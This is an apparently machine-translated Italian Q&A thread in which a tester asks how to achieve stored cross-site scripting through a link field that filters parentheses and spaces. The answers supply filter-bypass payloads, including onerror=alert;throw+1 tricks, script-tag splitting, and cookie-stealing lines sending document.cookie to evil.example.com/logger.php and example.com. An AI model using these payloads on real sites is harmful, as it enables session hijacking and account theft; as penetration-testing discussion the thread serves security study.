Stored Cross-Site Scripting senza parentesi o spazi

3

Sto testando un'applicazione commentante che prende un link del modulo http://google.com e lo inserisce in un tag href in questo modo:

<a rel="nofollow" href="http://google.com">

Il commento risultante viene rimosso da http:// o https:// .

Nel test, ho tentato di utilizzare una qualche forma di http://"onmouseover="alert(1); in questo modo avrei <a href="http://"onmouseover="alert(1);"> sulla pagina, ma non ha funzionato.

Altre informazioni:

  1. Le parentesi sono filtrate. Ho provato varie codifiche.

  2. I tag
  3. <script> vengono filtrati, ma puoi aggirare questo problema tramite <scr<script>ipt> .

  4. Non è possibile utilizzare gli spazi (interrompono il tag se utilizzo uno spazio). Ho provato ASCII e% 20.

  5. Posso usare un punto e virgola, ma devo raddoppiarlo se sarebbe l'ultimo carattere, e poi funziona bene.

  6. Parentesi angolari, doppie virgolette, virgolette singole, barre rovesciate, barre rovesce e due punti passano tutti senza filtro.

Non so davvero come utilizzare il <script>alert;throw 1;<script> che ho visto prima, dato che non sembra eseguire nulla, e anche se lo facesse, lo spazio non può essere usato.

Qualche idea?

    
posta 1111IIIIII111111IIII1 22.10.2014 - 08:06
fonte

3 risposte

2

Sto presupponendo il seguente filtro per i miei esempi (sembra corrispondere alla tua descrizione, ho ignorato il filtro script e ; per semplificare le cose, perché hai detto che puoi aggirarli):

$hasSpace = preg_match('/\s/', $_GET['v']);
if ($hasSpace) {
    echo 'space!';
} else {
    $replaced = str_replace(array('(', ')'), '', $_GET['v']);
    echo '<a href="' . $replaced . '">link</a>';
}

Includi foglio di stile

È possibile includere un foglio di stile tramite XSS come questo :

"><style>@import'http://evil.example.com/xss.css';</style>

Ora puoi cambiare il layout del sito web, che non è male.

XSS tramite CSS

Puoi vedere un possibile modo di utilizzare i CSS per eseguire JavaScript nel post che ho linkato sopra ( background-image: url('javascript:alert(document.cookie);') ; non ha funzionato per me, ma potrebbe funzionare anche per te).

E puoi cercare sul Web ulteriori possibilità (come expression per le versioni precedenti di IE, ecc.).

Utilizzo di onerror con spazio

I don't really know how to utilize the <script>alert;throw 1;<script>

Ecco una descrizione abbastanza buona come funziona onrest XSS .

Se modifichiamo il mio codice PHP sopra in modo che lo spazio sia consentito (rimuovi if ), puoi usare questo per un attacco:

"><script>onerror=alert;throw 1;</script>

In pratica dice che se si verifica un errore, si deve chiamare l'avviso (con l'errore come argomento). E poi viene creato un errore. Se utilizzi throw "XSS" , avviserà XSS .

Utilizzo di onerror senza spazio

La cosa buona? Non hai nemmeno bisogno di uno spazio : throw+1 funziona altrettanto bene.

Se non solo gli spazi, ma tutti gli spazi bianchi sono filtrati, anche questo non funzionerà. Ma puoi cambiarlo in something , e funzionerà ancora (poiché something non è definito causerà un errore di riferimento).

Se lo spazio è filtrato, ma lo spazio non è

Se hai un filtro come questo: str_replace(array('(', ')', ' ') invece di regex di spazi bianchi nel mio codice originale, puoi sostituire lo spazio con + e fare per esempio questo:

"+onmouseover="document.location='http://evil.example.com/logger.php?c='%2Bdocument.cookie
    
risposta data 22.10.2014 - 16:00
fonte
1

Che ne dici di:

  • javascript:document.location.href='http://www.example.com/'+document.cookie
  • "/><scri<script>pt>document.location.href='http://www.example.com/'+document.cookie</script>

Rispettano le regole di filtraggio che hai scoperto? L'unico bit che non ho capito è stato quando hai detto " The resulting comment is stripped of http:// or https://. ". Intendi la parte tra i tag <a> e </a> - quindi http://www.google.com viene solitamente visualizzato come <a rel="nofollow" href="http://google.com">google.com</a> ?

    
risposta data 23.10.2014 - 12:34
fonte
0

Prima di tutto, puoi dividere i tag in html utilizzando / char. Un esempio comune è: <svg/onload=alert(1) .

Nel tuo caso prova payload come http://"/onmouseover="alert(1) . Dovrebbe funzionare.

In secondo luogo, cerca di evitare simboli non necessari nei tuoi payload, come il punto e virgola nel tuo payload. Inoltre, la citazione di " è un simbolo non necessario nella maggior parte dei casi (non finora). Quindi prova a scrivere onload=<your_paylaod> anziché onload="<your_payload>" .

In terzo luogo, non utilizzare le azioni interazione utente come onclick o onmouseover . Utilizza onload , onerror o combinali come onfocus=<your_payload> autofocus .

Successivamente, potresti provare a utilizzare il prompt "" anziché le parentesi se non sono consentiti. (la formattazione wiki non mi permetterà di stampare alcun valore all'interno dei tratti, quindi spero che lo capirai.

Infine, per sfuggire ai filtri xss comuni, usa prompt(1) invece di alert(1) , usa <svg invece di <img , usa document['cookie'] invece di document.cookie .

Buona fortuna.

    
risposta data 22.10.2014 - 08:27
fonte

Leggi altre domande sui tag